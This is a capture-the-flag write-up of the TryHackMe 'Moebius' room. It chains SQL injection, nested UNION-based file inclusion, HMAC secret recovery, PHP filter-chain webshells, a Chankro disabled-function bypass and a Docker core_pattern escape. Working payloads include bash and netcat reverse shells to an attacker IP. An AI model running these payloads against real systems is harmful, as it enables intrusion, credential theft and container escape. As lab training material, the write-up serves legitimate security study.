> For the complete documentation index, see [llms.txt](https://0xb0b.gitbook.io/writeups/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xb0b.gitbook.io/writeups/tryhackme/2025/moebius.md).

# Moebius

{% embed url="<https://tryhackme.com/room/moebius>" %}

The following post by 0xb0b is licensed under [CC BY 4.0<img src="https://mirrors.creativecommons.org/presskit/icons/cc.svg?ref=chooser-v1" alt="" data-size="line"><img src="https://mirrors.creativecommons.org/presskit/icons/by.svg?ref=chooser-v1" alt="" data-size="line">](http://creativecommons.org/licenses/by/4.0/?ref=chooser-v1)

***

## Recon

We start with a Nmap scan and find only two open ports. Port `22` on which we have SSH available and an Apache web server on port `80`.

<figure><img src="/files/997Axgnuvzp9WVmpUuAQ" alt=""><figcaption></figcaption></figure>

We first visit the index page of the web server and find an image board with pictures of cats. We can choose from three categories.

<figure><img src="/files/GitjImD3qi2ikN9nW4dm" alt=""><figcaption></figcaption></figure>

If we select a category, we are redirected to the page `album.php` with a set parameter `short_tag` of our category.

<figure><img src="/files/ubIDKJ7GkZpGExfWuMmZ" alt=""><figcaption></figcaption></figure>

If we look at the source of the page, we find a comment. Probably a little hint. The `short_tag` `fav` has the album ID `3` and we can also see the links to the images. They look very interesting.

<figure><img src="/files/BLM1Q4SqyWub5RIiBpov" alt=""><figcaption></figcaption></figure>

At first glance, these look like they are vulnerable to Local File Inclusion (LFI) via the path parameter. We need to provide a hash each time. We do not know how this is generated. It could be the path itself or the content. We use `hashid` to determine that it might be SHA-256. The parameters do not appear to be SQL injectable. Omitting the hash value does not result in an LFI, the file wont then be found. Either it is not SHA-256 and the hash is determined by the path, or the hash is generated from the content. More on this later.

{% code overflow="wrap" %}

```
http://moebius.thm/image.php?hash=d862da99772e13c234e5bc2b0c1fde10e828915d697fb47b23cb392302905035&path=/var/www/images/cat9.webp
```

{% endcode %}

However, if we leave the `short_tag` parameter blank of `album.php,` we get a useful error message indicating that the parameter is vulnerable to SQL injection.

```
http://moebius.thm/album.php?short_tag=
```

<figure><img src="/files/LAearCePukGj7KaIKAkl" alt=""><figcaption></figcaption></figure>

We'll make it easy for ourselves and leave it to SQLMap to find out more.

```
sqlmap -u 'http://moebius.thm/album.php?short_tag='
```

We see that the parameter is vulnerable to three different SQL injection variants:

```
boolean-based blind
error-based
ime-based blind
```

<figure><img src="/files/At2391lNCP5xaWLIL2eo" alt=""><figcaption></figcaption></figure>

We don't worry about this at first, but we notice that a UNION injection is not possible to leak data.

We dump the database...

```
sqlmap -u 'http://moebius.thm/album.php?short_tag=fav' --dump
```

... and are able to dump the tables albums and images of the database web. We can see from the dump that there are no hashes stored there. These are probably generated. This gives us hope for the LFI. If we could now write paths to the database, or use a UNION injection to render a path to `http://moebius.thm/album.php`, we could use the LFI.

```
albums
images
```

When testing manually, you will notice that certain special characters are filtered. These include `;` and `/`. This now makes it more difficult for an LFI. Since `;` is not allowed, we cannot execute stacked queries, and therefore no `INSERT INTO`. Furthermore, filtering `/` makes it difficult for us to inject paths.

At least we could bypass the `/` filter using hex encoding.

```
http://moebius.thm/album.php?short_tag=;
```

<figure><img src="/files/5PWZiWFuX6Pq9IHoYatb" alt=""><figcaption></figcaption></figure>

```
http://moebius.thm/album.php?short_tag=/
```

<figure><img src="/files/nvnL3oowlIoPza44dmr6" alt=""><figcaption></figcaption></figure>

## LFI

We try to apply LFI in order to obtain possible RCE.

### Observations

The whole challenge might be solely about being able to include files via the `image.php` page.&#x20;

{% code overflow="wrap" %}

```
http://moebius.thm/image.php?hash=9d99cff7a7a514a7285191560fa130f146d4c1ec2bbff1bb477d37eb5d2a71c3&path=/var/www/images/cat1.jpg.
```

{% endcode %}

But we need the hash. It's either a hash of the path or of the contents of the file.

When accessing [http://moebius.thm/album.php?short\_tag=cute](http://moebius.thm/album.php?short_tag=cute`), all entries are loaded and the hash values are generated; the hashes are not stored in the database.

The idea is now to fake a path or insert a path in the images table to read arbitrary files.

Unfortunately, we cannot use insert since stacked queries are not possible with `;` being filtered.

Let's see if we can read or write to files using SQL.

First, we use sqlmap and intercept the requests made to adapt those to our liking. And to learn what's actually happening under the hood of sqlmap. We decide to intercept the error-based injections.

{% code overflow="wrap" %}

```
sqlmap -u 'http://moebius.thm/album.php?short_tag=fav' --dump --proxy 'http://127.0.0.1:8080'
```

{% endcode %}

Error-based SQL injection works by forcing the database to produce an error message that *leaks* data directly in the response. Sqlmap, when using error-based techniques, automates this by crafting special payloads that cause database errors containing the data it wants.\
We can see that the payloads error using `RAND()` collisions with a `GROUP BY`, which causes MySQL to print.

Below is an adapted request to check for the permissions of our database user.

Checking the user privileges we are also not able to read or write files, we only have `USAGE` permissions:

{% hint style="info" %}
In some cases this query fails and returns: Connection failed: SQLSTATE\[21000]: Cardinality violation: 1242 Subquery returns more than 1 row
{% endhint %}

{% code overflow="wrap" %}

```
GET /album.php?short_tag='+AND+(SELECT+1337+FROM+(SELECT+COUNT(*),CONCAT(0x7171786a71,(SELECT+MID((SELECT+IFNULL(GROUP_CONCAT(grantee,0x3a,privilege_type),0x6661696c6564)+FROM+information_schema.user_privileges),1,50)),0x71786a6271,FLOOR(RAND()*2))x+FROM+information_schema.plugins+GROUP+BY+x)a)--+-
```

{% endcode %}

<figure><img src="/files/5F3B87kmzq0LxnePFCYz" alt=""><figcaption></figcaption></figure>

Let's see what is actually being queried when `http://moebius.thm/album.php?short_tag=cute` is queried. To do this, we check the entries in `information_schema.PROCESSLIST` - recalling <https://0xb0b.gitbook.io/writeups/tryhackme/2024/rabbit-hole#processlist>.

The `INFORMATION_SCHEMA` has the table `PROCESSLIST`. The [Information Schema](https://mariadb.com/kb/en/information_schema/) `PROCESSLIST` table contains information about running threads.

{% embed url="<https://mariadb.com/kb/en/information-schema-processlist-table/>" %}

The `INFO` column contains the statement that the thread is executing.

We adapt the query to see the actual query running.

{% code overflow="wrap" %}

```
GET /album.php?short_tag='+AND+(SELECT+1337+FROM+(SELECT+COUNT(*),CONCAT(0x7171786a71,(SELECT+MID((SELECT+IFNULL(GROUP_CONCAT(ID,0x3a,INFO),0x6661696c6564)+FROM+information_schema.PROCESSLIST),1,50)),0x71786a6271,FLOOR(RAND()*2))x+FROM+information_schema.plugins+GROUP+BY+x)a)--+-
```

{% endcode %}

<figure><img src="/files/Ot8nsGRYEro2fCFydttL" alt=""><figcaption></figcaption></figure>

We see that `SELECT id FROM albums WHERE short_tag=...` is queried. This explains why a UNION Injection is not working here. There might be another query that uses the ID by the former query. With that in mind, we might be able to make a nested UNION Injection to fake the paths, getting a hash calculated, and a URL prepared to read the files.

### Nested UNION Injection

So the idea is to make a UNION injection that results in an ID containing another UNION Injection passed to the second query.

The second query that uses the ID might look like something like this:

```
SELECT * FROM images WHERE album_id=1;
```

&#x20;A nested query could then look like this:

```
' UNION SELECT "-1 UNION SELECT '/etc/passwd' -- -" -- -
```

So the first query passes the nested UNION to the second query.

<pre data-overflow="wrap"><code><strong>SELECT id FROM albums WHERE short_tag='' UNION SELECT "-1 UNION SELECT '/etc/passwd' -- -" -- -
</strong></code></pre>

This would then result in the following second query:&#x20;

{% code overflow="wrap" %}

```
SELECT * FROM images WHERE album_id=-1 UNION SELECT '/etc/passwd' -- -
```

{% endcode %}

However, this does not work directly, as `" UNION SELECT '/etc/passwd' -- -"` would be evaluated in the first query. But in order to circumvent the earlier execution, we can hex encode the payload.

Before we start with UNION injection, we want to determine the column count used in the second unknown query. For this, we use ORDER BY. We keep increasing the value by 1 until we receive an error.

We encode the to be nested ODER BY query to hex.

```
echo -n '-1 ORDER BY 1 -- -' | xxd -p | tr -d '\n' | sed 's/^/0x/'
```

<figure><img src="/files/PS8L1Mv1mxCPUIm7o28E" alt=""><figcaption></figcaption></figure>

And integrate that into our UNION injection. We do not receive an error.

```
GET /album.php?short_tag='+UNION+SELECT+0x2d31204f524445522042592031202d2d202d+--+-
```

<figure><img src="/files/5cq3Pg9fBIwojv8VIcKJ" alt=""><figcaption></figcaption></figure>

After increasing the `ORDER BY` to 4 we receive an error. We have three columns.

<figure><img src="/files/qy2SIzBFTOHFFEj8KeJv" alt=""><figcaption></figcaption></figure>

Next, we try the following payloads, to UNION inject a path and determine which column is actually the path column:

{% hint style="info" %}
The following three payloads are for illustrative purposes only. We need to hex code the inner UNION part.
{% endhint %}

```
' UNION SELECT '-1 UNION SELECT "/etc/passwd",NULL,NULL -- -'  -- -
```

```
' UNION SELECT '-1 UNION SELECT NULL,"/etc/passwd",NULL -- -'  -- -
```

```
' UNION SELECT '-1 UNION SELECT NULL,NULL,"/etc/passwd" -- -'  -- -
```

And we will be successful with:

```
' UNION SELECT '-1 UNION SELECT NULL,NULL,"/etc/passwd" -- -'  -- -
```

Those are the steps we need to take. Encode the inner UNION SELECT to hex.

{% code overflow="wrap" %}

```
echo -n '-1 UNION SELECT NULL,NULL,"/etc/passwd" -- -' | xxd -p | tr -d '\n' | sed 's/^/0x/'
```

{% endcode %}

<figure><img src="/files/0rY82no2m5FgU98S8vkv" alt=""><figcaption></figcaption></figure>

Inject our payload...

{% code overflow="wrap" %}

```
' UNION SELECT 0x2d3120554e494f4e2053454c454354204e554c4c2c4e554c4c2c222f6574632f70617373776422202d2d202d -- -
```

{% endcode %}

{% code overflow="wrap" %}

```
http://moebius.thm/album.php?short_tag='+UNION+SELECT+0x2d3120554e494f4e2053454c454354204e554c4c2c4e554c4c2c222f6574632f70617373776422202d2d202d+--+-
```

{% endcode %}

<figure><img src="/files/q06W6ZeauqiAw2uYGTmR" alt=""><figcaption></figcaption></figure>

... and we receive the following link from the page. The file inclusion is working. We are able to inspect the `/etc/passwd` file.&#x20;

{% code overflow="wrap" %}

```
http://moebius.thm/image.php?hash=9fa6eacac1714e10527da6f9cf8570e46a5747d9ace37f4f9e963f990429310d&path=/etc/passwd
```

{% endcode %}

<figure><img src="/files/LSZgij4dWdGWMjIuN1AH" alt=""><figcaption></figcaption></figure>

### Analysis of PHP files.

We were unable to find any flags on the machine . As a small note, when looking at the `/etc/hosts` file, it is noticeable that we may be in a Docker container.

Let's inspect the PHP files; perhaps there are other hidden secrets or even flags. Let's take a look at `album.php`; maybe we can see how the hash is generated and whether we still need the SQL injection.

#### album.php

We cannot see the contents of the PHP files directly because they are being evaluated. We can try to encode them base64 with a PHP filter `php://filter/convert.base64-encode/resource=`. We'll see that it works, and it confirms that the path will be hashed.

We prepare the inner UNION SELECT.

{% code overflow="wrap" %}

```
echo -n '-1 UNION SELECT NULL,NULL,"php://filter/convert.base64-encode/resource=/var/www/html/album.php"; -- -' | xxd -p | tr -d '\n' | sed 's/^/0x/'
```

{% endcode %}

<figure><img src="/files/PYoe7zFck8vgVJrrQC4r" alt=""><figcaption></figcaption></figure>

Paste the hex encoding into our payload `'+UNION+SELECT+REPLACE+--+-`,  and make our request.

{% code overflow="wrap" %}

```
GET /album.php?short_tag='+UNION+SELECT+0x2d3120554e494f4e2053454c454354204e554c4c2c4e554c4c2c227068703a2f2f66696c7465722f636f6e766572742e6261736536342d656e636f64652f7265736f757263653d2f7661722f7777772f68746d6c2f616c62756d2e706870223b202d2d202d+--+-
```

{% endcode %}

<figure><img src="/files/7UqK1axIdQlwlMQlYryY" alt=""><figcaption></figcaption></figure>

We receive the link and are able to read `album.php`.

{% code overflow="wrap" %}

```
/image.php?hash=38420322a9fb901937cc3c0cea5ec07cb2124de36906634e008270b5f193dbee&path=php://filter/convert.base64-encode/resource=/var/www/html/album.php
```

{% endcode %}

<figure><img src="/files/BREUmnpCrrkEz2s58zNk" alt=""><figcaption></figcaption></figure>

We use CyberChef for decoding. The `album.php` page includes `dbconfig.php`. We will look at this next. We also see that the hash is an HMAC, the secret used cannot be found in `album.php`. We will probably find this in `dbconfig.php`.

<figure><img src="/files/xPGkzy5o8AcAfyx2PGqe" alt=""><figcaption></figcaption></figure>

#### dbconfig.php

We repeat our steps to now read `dbconfig.php`.

{% code overflow="wrap" %}

```
echo -n '-1 UNION SELECT NULL,NULL,"php://filter/convert.base64-encode/resource=/var/www/html/dbconfig.php"; -- -' | xxd -p | tr -d '\n' | sed 's/^/0x/'
```

{% endcode %}

{% code overflow="wrap" %}

```
/image.php?hash=4cde56f17a2c5951e40a609cf0d464b5fa7b7f59471185eab67e196e7fd0bc66&path=php://filter/convert.base64-encode/resource=/var/www/html/dbconfig.php
```

{% endcode %}

This contains the secret.

<figure><img src="/files/OaIo5fFZNpZVO0Lo8t6x" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
What has not yet been discussed is how we get to remote code execution. First of all, during testing we noticed that PHP filters work, but the Filter Chains 2 RCE does not. Here, we had received errors when trying to receive the hash through `album.php` via the UNION SQL injection. So the script or this approach can be helpful here.
{% endhint %}

### Hash Generation Script

Using the secret, we can now calculate the hashes ourselves and no longer need the SQL injection.

{% code title="get-hash.py" overflow="wrap" lineNumbers="true" %}

```
import hmac
import hashlib

# Set your SECRET_KEY
SECRET_KEY = 'REDACTED'

def calc_hash(path: str) -> str:
    key_bytes = SECRET_KEY.encode('utf-8')
    path_bytes = path.encode('utf-8')
    h = hmac.new(key_bytes, path_bytes, hashlib.sha256)
    return h.hexdigest()

if __name__ == "__main__":
    import sys
    if len(sys.argv) != 2:
        print(f"Usage: {sys.argv[0]} <path>")
        sys.exit(1)

    path = sys.argv[1]
    result = calc_hash(path)
    print(f"Hash for path: {result}")

```

{% endcode %}

Example for `/etc/passwd`

<figure><img src="/files/OQnOxudbQpcOsdsxjBJ9" alt=""><figcaption></figcaption></figure>

## LFI 2 RCE

With LFI, we have several possibilities to gain RCE. This would include log file poisoning or cookie poisoning by writing our PHP payload to logs or cookies. However, we do not find any logs such as `/var/logs/apache2/access.log` or cookies on the machine; none are set, and no content is defined that we could manipulate.

In rare cases, you could also use living of the land sscripts like `/usr/local/lib/php/pearcmd.php` to achieve RCE if arguments can be passed via HTTP. But this setting was not set.

{% embed url="<https://abdelhameedghazy.medium.com/5-ways-to-chain-lfi-2-rce-with-default-configurations-in-php-4d3b839a4cc3>" %}

But we still have the option of using filter chains to get RCE.

### PHP Filter Chains

With Filter Chains we are able to **generate arbitrary php code** for the include **without needing to write** it into a file. This allows us to gain RCE.

{% embed url="<https://book.hacktricks.wiki/en/pentesting-web/file-inclusion/lfi2rce-via-php-filters.html>" %}

We will use the following generator by *synacktiv*:

{% embed url="<https://github.com/synacktiv/php_filter_chain_generator>" %}

Let's try to get a web shell using the smallest possible payload `` `'<?=`$_GET[0]?> ``. We generate the filter chain and save it to `webshell-payload.txt`. The resulting payload will be pretty big and almost surpasses the URL size limit.

{% code overflow="wrap" %}

```
python3 php_filter_chain_generator/php_filter_chain_generator.py --chain '<?=`$_GET[0]`?>' | grep '^php' > webshell-payload.txt
```

{% endcode %}

Next, we calculate the hash with our script.

{% code overflow="wrap" %}

```
python get-hash.py $(cat webshell-payload.txt)
```

{% endcode %}

We request `album.php` with the chain as the path and save the response to `webshell.php`.&#x20;

{% code overflow="wrap" %}

```
curl "http://moebius.thm/image.php?hash=4cd9091504bffe82f8e618439c9f59769fc8f7f34174827a625fd8cf2b847c0a&path=$(cat webshell-payload.txt)" > webshell.php
```

{% endcode %}

We read the response and see an error. The `shell_exec()` function is aliased by the backticks, which

```
``
```

is not definied. That's strange; it could be that some functions are disabled, which we need to get RCE. At this point, trying bigger web shell payloads will not suffice since the URL will be too big by the chains...

<figure><img src="/files/S9IH2CE2avOWFdwL7YOL" alt=""><figcaption></figcaption></figure>

Let's make a check, and see if we can display the information about the current PHP environment using `phpinfo()`.

We prepare the chain:

{% code overflow="wrap" %}

```
python3 php_filter_chain_generator/php_filter_chain_generator.py --chain '<?php phpinfo(); ?>' | grep '^php' > phpinfo-payload.txt
```

{% endcode %}

Calculate the hash for the path:

```
python get-hash.py $(cat phpinfo-payload.txt)
```

We request `album.php` with the chain as the path and save the response to `phpinfo.php`. The content looks good, no errors.

{% code overflow="wrap" %}

```
curl "http://moebius.thm/image.php?hash=078e82e6f14e57d8e08812228670f9f2920da20ba264f785a090354cb825acf4&path=$(cat phpinfo-payload.txt)" > phpinfo.php
```

{% endcode %}

<figure><img src="/files/hJM8DbUtvGpgLDyd2yqx" alt=""><figcaption></figcaption></figure>

Let's check for functions...

<figure><img src="/files/pSxDOuGTYnoifQFPtNCr" alt=""><figcaption></figcaption></figure>

... and we see at least the following are disabled. We are somewhat very limited.

```
exec, system, popen, proc_open, proc_nice, shell_exec, passthru
```

### Bypass Disabled Functions In PHP via Chankro

But there are solutions for this, we can try to bypass the disabled functions. After some research, we'll come across Chankro.

{% embed url="<https://github.com/TarlogicSecurity/Chankro>" %}

*TarlogicSecurity* explains it as follows:

> PHP in Linux calls a binary (sendmail) when the mail() function is executed. If we have putenv() allowed, we can set the environment variable "LD\_PRELOAD", so we can preload an arbitrary shared object. Our shared object will execute our custom payload (a binary or a bash script) without the PHP restrictions, so we can have a reverse shell, for example.

We generate an example and see that it is a lot of code. We won't be able to pass that into our filter chain because of the limits of the URL size.

```
$ python2 chankro.py --arch 64 --input rev.sh --output chan.php --path /var/www/html
```

<figure><img src="/files/dWDlASyIgPN5bGhIPw3E" alt=""><figcaption></figcaption></figure>

The first idea is to place that PHP script on the target system using `file_put_contents` using filter chains, but that results in a too large URL, which won't be possible to request.

#### Prepare A PHP page to pass larger contents of PHP

Now we need a workaround... And we try it with the smallest possible payload that evaluates PHP. And receives what it is supposed to evaluate via POST request. This is how we get out of the limitation.&#x20;

```
<?=eval($_POST["x"])?>
```

We generate the filter chain.

{% code overflow="wrap" %}

```
python3 php_filter_chain_generator/php_filter_chain_generator.py --chain '<?=eval($_POST["x"])?>' | grep '^php' > post.txt
```

{% endcode %}

Calculate the hash for the path (filter chain).

```
python get-hash.py $(cat post.txt)
```

And make a test request with `echo 'hello world` as the POST data. And we see it gets evaluated.

{% code overflow="wrap" %}

```
curl -X POST "http://moebius.thm/image.php?hash=17ae214228dc9df5e40706e760fd288f2100ee1ab377fa71a6e2ef13d528fb35&path=$(cat post.txt)" -d "x=echo 'hello world';" --output response.txt
```

{% endcode %}

<figure><img src="/files/xukGqZZEYWdBaJeDQKs6" alt=""><figcaption></figcaption></figure>

Now we could issue something like  `-d "x=file_put_contents` in our POST request to write the Chankro script to the target system.

#### Write chan.php to system via file\_put\_contents

First, we prepare a reverse shell that is used by Chankro.

```
/bin/bash -i >& /dev/tcp/10.14.90.235/443 0>&1
```

{% code overflow="wrap" %}

```
echo 'L2Jpbi9iYXNoIC1pID4mIC9kZXYvdGNwLzEwLjE0LjkwLjIzNS80NDMgMD4mMQ==' | base64 -d | bash
```

{% endcode %}

<figure><img src="/files/KHGOxp3pVF13jGjDU5tY" alt=""><figcaption></figcaption></figure>

We generate our Chankro script. The path is set to `/tmp` there we have write permissions. First, we have tested with `/var/www/html` where we were not able to write.

```
python2 Chankro/chankro.py --arch 64 --input rev.sh --output chan.php --path /tmp
```

And prepare a small script to base64 and url encode the content for an error free transmission.

{% code title="tob64.php" overflow="wrap" lineNumbers="true" %}

```php
<?php
$inputFile = 'chan.php';
$outputFile = 'chan.php.b64';

if (!file_exists($inputFile)) {
    die("Error: File '$inputFile' not found.\n");
}

$data = file_get_contents($inputFile);
if ($data === false) {
    die("Error: Unable to read '$inputFile'.\n");
}

// Base64-encode the data
$base64 = base64_encode($data);

// URL-encode the base64-encoded data
$urlEncoded = urlencode($base64);

// Write the URL-encoded string to 'disfunpoc.php.b64'
$result = file_put_contents($outputFile, $urlEncoded);
if ($result === false) {
    die("Error: Unable to write to '$outputFile'.\n");
}

echo "Successfully encoded '$inputFile' and saved to '$outputFile'.\n";
?>

```

{% endcode %}

We run our script to encode the Chankro payload.

```
php tob64.php 
```

Next, we write the Chankro script to `/tmp` using `file_put_contents('/tmp/chan.php', base64_decode('$(cat chan.php.b64)'));`

{% code overflow="wrap" %}

```
curl -X POST "http://moebius.thm/image.php?hash=17ae214228dc9df5e40706e760fd288f2100ee1ab377fa71a6e2ef13d528fb35&path=$(cat post.txt)" -d "x=file_put_contents('/tmp/chan.php', base64_decode('$(cat chan.php.b64)'));" --output response.txt
```

{% endcode %}

After we have written the Chankro script to `tmp` we set up a listener on our desired port and request the script via LFI. We calculated the hash with our script.

{% code overflow="wrap" %}

```
curl "http://moebius.thm/image.php?hash=4ecf7209b6edb35c94019f3d9cf824881adc4e4598a08cc0a23fdd92a2df1709&path=/tmp/chan.php"
```

{% endcode %}

<figure><img src="/files/PbiSZZT8fzn1awQWfuTI" alt=""><figcaption></figcaption></figure>

We get a connection back and are `www-data`. We won't find any flags inside the container.

<figure><img src="/files/tWnRAiv8k0MTvvQ3P1AX" alt=""><figcaption></figcaption></figure>

## Docker Escape

Next thing we do is to upgrade our reverse shell.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

```
SHELL=/bin/bash script -q /dev/null
```

```
CTRL+Z
```

```
stty raw -echo && fg
```

We see we are in the sudo group.

<figure><img src="/files/OyV02VWvUybPwfIkuvxp" alt=""><figcaption></figcaption></figure>

We can easily switch to `root` using `sudo su` without a password.

<figure><img src="/files/E1hIckiIqtEb34D90HDD" alt=""><figcaption></figcaption></figure>

Next, we run linpeas and see that we are either able to perform`core_pattern breakout` or an `uevent_helper breakout` to escape the docker container.

<figure><img src="/files/0l6rMgl7HM3uDAbxd2lh" alt=""><figcaption></figcaption></figure>

Recalling T3 from AoC 2024:

{% embed url="<https://0xb0b.gitbook.io/writeups/tryhackme/2024/advent-of-cyber-24-side-quest/t3-escaping-the-blizzard#flag-3-escape-the-docker-container>" %}

A **Docker `core_pattern` breakout** leverages the misconfiguration of the `core_pattern` kernel parameter in a containerized environment to break out of a Docker container and escalate privileges on the host. This is possible when the host system is configured to store or process core dumps in a way that exposes sensitive data or allows interaction between the container and the host.

#### Prerequisites

1. **Privileged Container**: The container must be running in privileged mode or have CAP\_SYS\_ADMIN capabilities to modify `/proc/sys/kernel/core_pattern`.
2. **Writable Host Filesystem**: Access to write to host directories (e.g., via mounted volumes).
3. **Vulnerable Configuration**: The host's `core_pattern` is configured insecurely or can be overridden by the container.

An example can be found here:

{% embed url="<https://pwning.systems/posts/escaping-containers-for-fun/>" %}

If we can successfully write our script to `/proc/sys/kernel/core_pattern` prefixed with a pipe, the kernel will execute our program outside of the container.

Since we do not have Python available on the container we use the following C snippet to trigger a SEGFAULT.

{% code title="poc.c" overflow="wrap" lineNumbers="true" %}

```c
int main( void)
{
     char *aaa = 0;
     *aaa = 0;
     return 1;                
}

```

{% endcode %}

{% embed url="<https://www.cyberark.com/resources/threat-research-blog/the-strange-case-of-how-we-escaped-the-docker-default-container>" %}

We can show the mounts and find the overlay folder. If we write to `/` on the container, it is actually at `/var/lib/docker/overlay2/7b3cf26f528efa374bb00eda5e44378ccee75cbcf5a9c9f82764191ad6c0d474/diff`

```
mount
```

{% code overflow="wrap" %}

```
/var/lib/docker/overlay2/7b3cf26f528efa374bb00eda5e44378ccee75cbcf5a9c9f82764191ad6c0d474/diff
```

{% endcode %}

<figure><img src="/files/6wyi5MBjKxk07HqFXxig" alt=""><figcaption></figcaption></figure>

We place our `shell.sh` in `/` of the docker container.

```
echo '#!/bin/bash' > /shell.sh
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc 10.14.90.235 4445 >/tmp/f' >> /shell.sh
chmod +x /shell.sh
```

We write the path to the shell script prefixed with a pipe to execute it outside the container.

{% code overflow="wrap" %}

```
echo "|/var/lib/docker/overlay2/7b3cf26f528efa374bb00eda5e44378ccee75cbcf5a9c9f82764191ad6c0d474/diff/shell.sh" > /proc/sys/kernel/core_pattern
```

{% endcode %}

With the following poc, we force a crash.

```
curl http://10.14.90.235/poc.c -o poc.c
```

```
gcc poc.c -o poc
```

```
./poc 
```

<figure><img src="/files/R575uUJULTbRHA4OjwIz" alt=""><figcaption></figcaption></figure>

And get a connection back to our listener.&#x20;

<figure><img src="/files/M0bQQaBQ7QIPNCr2rDYe" alt=""><figcaption></figcaption></figure>

### User Flag

We are `root` on the host and find the user flag at `/root/user.txt`.

<figure><img src="/files/caFsBBADWpGIhqKbR5XC" alt=""><figcaption></figcaption></figure>

We are still missing the root flag. First we upgrade our reverse shell.

{% embed url="<https://0xffsec.com/handbook/shells/full-tty/>" %}

```
python3 -c 'import pty; pty.spawn("/bin/bash")'
```

```
CTRL+Z
```

```
stty raw -echo && fg
```

<figure><img src="/files/1oTA0WmfHnXWXIsMf4bU" alt=""><figcaption></figcaption></figure>

## GET BACK INTO THA DOCKA!

<figure><img src="/files/B8e2MJwi8AwM8SzVwAkI" alt=""><figcaption></figcaption></figure>

> ... go back to where you began, in order to find the root flag

The challenges asks us to get back to where we began. And we began initially with a SQL Injection. Maybe we have to look for the final flag in the DB container, since we did not find a DB service running on the compromised container. Not actually a root flag, but a final flag.&#x20;

### Root Flag

We check for running docker containers and spot the challenge-db-1 container.

```
docker ps
```

<figure><img src="/files/bKkDo3N1DcOovUZNiHv8" alt=""><figcaption></figcaption></figure>

We interact with it.

```
docker exec -it challenge-db-1 /bin/bash
```

<figure><img src="/files/aOw9KzugwTeJY5Prx0jp" alt=""><figcaption></figcaption></figure>

On the root directory we find a suspicious folder containing the database environment file. This holds the credentials of the web and root user of the database.

```
/docker-entrypoint-initdb.d/db.env
```

<figure><img src="/files/Vbn7MWpErQgwT1B6SVPL" alt=""><figcaption></figcaption></figure>

Connecting to the database we get the same results as expected as with our dump.

```
mysql -h 127.0.0.1 -u web -p
```

<figure><img src="/files/x72S6i5zekpE8Pr1qNjh" alt=""><figcaption></figcaption></figure>

We use the root credentials and we now have access to more databases. Among theses secret.

```
mysql -h 127.0.0.1 -u root -p
```

<figure><img src="/files/G97tMaOjpAggi5Szdc9y" alt=""><figcaption></figcaption></figure>

We use the database secret and dump the contents of the table secrets. This contains the final flag.

<figure><img src="/files/zbTcixsKAOGPU0IV4pxr" alt=""><figcaption></figcaption></figure>

## Failed Attempts

Using hex encoding, we were able to use the `;` character to insert into the database. With this approach, we could enable LFI by requesting an album with images whose path is set to the desired files.\
Before attempting the LFI to RCE technique, another approach was tried: writing a webshell payload into the path field in the hope that it would be rendered. However, it was not.

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/moebius]
└─$ echo -n '<?php system($_GET["cmd"]); ?>' | xxd -p | tr -d '\n' | sed 's/^/0x/'

0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e  
```

{% code overflow="wrap" %}

```
┌──(0xb0b㉿kali)-[~/Documents/tryhackme/moebius]
└─$ echo -n '-1; UPDATE images SET path=0x3c3f7068702073797374656d28245f4745545b22636d64225d293b203f3e WHERE album_id=1;  -- -' | xxd -p | tr -d '\n' | sed 's/^/0x/'

0x2d313b2055504441544520696d616765732053455420706174683d307833633366373036383730323037333739373337343635366432383234356634373435353435623232363336643634323235643239336232303366336520574845524520616c62756d5f69643d313b20202d2d202d 
```

{% endcode %}

{% code overflow="wrap" %}

```
GET /album.php?short_tag='+UNION+SELECT+0x2d313b2055504441544520696d616765732053455420706174683d307833633366373036383730323037333739373337343635366432383234356634373435353435623232363336643634323235643239336232303366336520574845524520616c62756d5f69643d313b20202d2d202d+--+- HTTP/1.1
```

{% endcode %}

<figure><img src="/files/aMJ5NxYqHm5DN0o6uAGj" alt=""><figcaption></figcaption></figure>
